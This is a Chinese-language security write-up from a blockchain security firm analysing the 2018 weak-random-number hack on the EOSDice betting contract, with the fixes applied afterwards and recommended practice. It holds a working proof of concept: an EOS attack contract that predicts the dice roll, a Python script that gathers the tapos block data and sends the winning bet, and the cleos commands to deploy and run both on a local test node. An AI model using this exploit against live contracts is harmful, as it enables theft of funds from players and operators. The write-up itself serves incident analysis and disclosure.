• 150-2922-9543
  • support@noneage.com

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞1


Written by WeaponX@零时科技

本文所有过程均在本地测试节点完成

文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis

0x00 背景

零时科技监测到,EOSDice在2018年11月3日受到黑客攻击,根据EOSDice官方通告,此次攻击共被盗2,545.1135 EOS,约合 1.35 万美元(2018年11月4日价格 1 EOS ≈ 5.13 USD)。

0x01 技术分析

由于EOSDice被攻击是因为该游戏的的随机数算法被破解,而且使用的defer action进行开奖。那我们具体分析一下EOSDice的随机数算法是否存在漏洞。

因为EOSDice的合约已经开源,我们从Github上找到了EOSDice的随机数算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
uint8_t random(account_name name, uint64_t game_id)
{
asset pool_eos = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount;

const char *mixedChar = reinterpret_cast<const char *>(&mixd);

checksum256 result;
sha256((char *)mixedChar, sizeof(mixedChar), &result);

uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
return (uint8_t)(random_num % 100 + 1);
}

https://github.com/loveblockchain/eosdice/blob/f1ba04ea071936a8b5ba910b76597544a9e839fa/eosbocai2222.hpp#L172

可以看到,EOSDice官方的随机数算法为6个随机数种子进行数学运算,再哈希,最后再进行一次数学运算。EOSDice官方选择的随机数种子为

  • tapos_block_prefix # ref block的信息
  • tapos_block_num # ref block的信息
  • account_name # 本合约的名字
  • game_id # 本次游戏的游戏id,从1自增
  • current_time # 当前开奖的时间戳
  • pool_eos # 本合约的EOS余额

其中随机数种子account_namegame_idpool_eos很容易获取到,那么如果需要预测随机数,必须要预测所有的随机数种子,也就是 说current_timetapos_block_prefixtapos_block_num也要可以预测。

  1. 那么,首先分析current_time是否可以预测

根据EOS官方的描述

其实返回的就是一个时间戳,由于EOSDice开奖使用的是defer action,因此,我们只需要知道下注的action的时间戳再加上delay_sec就可以算出开奖reval的时间戳了。EOSDicedelay_sec为1秒,所以开奖时时间戳 = 下注时时间戳 + 1000000

  1. 接着,我们分析tapos_block_prefixtapos_block_num是否可以预测

其实,tapos_block_prefixtapos_block_num均为开奖blockref block的信息。EOS为了防止分叉,所以每一个block都会有一个ref block也就是引用块。因为reveal开奖的块在下注前并不知道,它的ref block看似也不知道,所以貌似这两个种子是未来的值。不过,根据EOS的机制,因为开奖采用的是defer action,所以reveal开奖块的ref block为下注块的前一个块,也就是说tapos_block_prefixtapos_block_num是在下注前可以获取到的!

至此,EOSDice的随机数种子在下注前均可以获取,那就意味着我们可以在下注前预测到下注后的随机数,完全可以达到必中的效果。

下面是我们测试攻击的合约,完成的功能是根据EOSDice的随机数算法来预测此次下注的随机数的值,然后选择roll的值比预测值大一即可中奖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
public:
attack(account_name self):eosio::contract(self)
{}

uint8_t random(account_name name, uint64_t game_id, uint32_t prefix, uint32_t num)
{
asset pool_eos = eosio::token(N(eosio.token)).get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
auto amount = pool_eos.amount + 10000;
auto time = current_time() + 1000000;
//auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount;
auto mixd = prefix * num + name + game_id - time + amount;

print(
"[ATTACK RANDOM]tapos-prefix=>", (uint32_t)prefix,
"|tapos-num=>", num,
"|current_time=>", time,
"|game_id=>", game_id,
"|poll_amount=>", amount,
"\n"
);
const char *mixedChar = reinterpret_cast<const char *>(&mixd);

checksum256 result;
sha256((char *)mixedChar, sizeof(mixedChar), &result);

uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
return (uint8_t)(random_num % 100 + 1);
}

//@abi action
void hi(uint64_t id, uint32_t block_prefix, uint32_t block_num)
{
//uint8_t roll;
uint8_t random_roll = random(N(attacker), id, block_prefix, block_num);
print("[ATTACK]predict random num =>", (int)random_roll,"\n");
if((int)random_roll >2 && (int)random_roll <94)
{
int roll = (int)random_roll + 1;
auto dice_str = "dice-noneage-" + std::to_string(roll) + "-user";
print("[ATTACK]current_time=>", current_time(), "\n");
print(
"[ATTACK]tapos-prefix=>", (uint32_t)tapos_block_prefix(),
"|tapos-num=>", tapos_block_num(),
"\n"
);
print("[ATTACK] before transfer");
action(
permission_level{_self, N(active)},
N(eosio.token), N(transfer),
std::make_tuple(_self, N(eosbocai2222), asset(10000, S(4, EOS)), dice_str)
).send();
}
}
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}

EOSIO_ABI_EX( attack,
(hi)
)

下面,我们的测试攻击脚本,完成的功能是获取最新的块和块的id,计算出EOSDice开奖actiontapos_block_prefixtapos_block_num,发送给测试攻击的合约。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import json
import os
import binascii
import struct
import sys

game_id = sys.argv[1]
# get tapos block num
url = "http://127.0.0.1:8888/v1/chain/get_info"
response = requests.request("POST", url)
res = json.loads(response.text)
last_block_num = res["head_block_num"]
# get tapos block id
url = "http://127.0.0.1:8888/v1/chain/get_block"
data = {"block_num_or_id":last_block_num}
response = requests.post(url, data=json.dumps(data))
res = json.loads(response.text)
last_block_hash = res["id"]
# get tapos block prefix
block_prefix = struct.unpack("<I", binascii.a2b_hex(last_block_hash)[8:12])[0]
# attack
cmd = '''cleos push action attacker hi '["%s","%s","%s"]' -p attacker@owner''' % (str(game_id), str(block_prefix), str(last_block_num))
os.system(cmd)

测试流程:

  1. 创建相关账户并设置权限
1
2
3
4
5
6
# 创建EOSDICE相关账户和权限
cleos create account eosio eosbocai2222 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission eosbocai2222 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbocai2222","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai2222
# 创建攻击者相关账户机器权限
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai1111
  1. 给相关账户发送代币
1
2
cleos push action eosio.token issue '["attacker", "10000.0000 EOS", "memo"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "10000.0000 EOS", "memo"]' -p eosio
  1. 编译相关合约并部署
1
2
3
4
5
6
7
8
9
10
11
12
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract ~/attack -p attack@owner

# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner
  1. 初始化EOSDice合约
1
cleos push action eosbocai2222 init '[""]' -p eosbocai2222

最后,我们来测试一下,我们可以很容易的获取到下次投注的game_id,此次为109。

1
python script.py 109

我们看一下合约的执行结果,可以看出,攻击合约预测的随机数和EOSDice的开奖action算出来的完全一致!这样就可以达到每次必中!

0x02 官方修复

官方修复其实很简单:

  • 开奖的action由一次defer action变成了两次defer action

https://github.com/loveblockchain/eosdice/commit/50a05dfb6c0d68b6035ed49d01133b5c2edaefdf

  • 账户的余额用很多账户的总和加起来当成随机数种子

https://github.com/loveblockchain/eosdice/commit/3c6f9bac570cac236302e94b62432b73f6e74c3b

首先,开奖的action由一次defer action变成了两次defer action,根据前面我们提到的内容,defer actionref block为发起defer action的前一个块。但是,在我们下注的时候这个块是无法预知的;其次,EOSDice的账户余额用了很多账户的余额的总和来当种子,这个貌似也是无法预测变化的。不过这样真的安全了吗?很明显,不是的,仅在6天后EOSDice再次受到随机数攻击,下篇文章我们会详细分析第二次攻击。

0x03 推荐修复

如何得到安全的随机数是一个普遍的难题,但是在EOS上尤其困难,因为EOS并不提供随机数接口。所以随机数的种子必须得自己选择,选择种子的准则就是无法被提前预知。零时科技安全专家推荐参考EOS官方的随机数生成方法来生成较为安全的随机数

https://developers.eos.io/eosio-cpp/docs/random-number-generation

0x04 Refer

https://blog.csdn.net/TurkeyCock/article/details/84730045

https://igaojin.me/2018/11/04/EODIDEC-%E9%9A%8F%E6%9C%BA%E6%95%B0%E8%A2%AB%E6%94%BB%E7%A0%B4/

https://developers.eos.io/eosio-nodeos/reference#get_block

https://github.com/loveblockchain/eosdice/tree/f1ba04ea071936a8b5ba910b76597544a9e839fa

https://developers.eos.io/eosio-cpp/docs/random-number-generation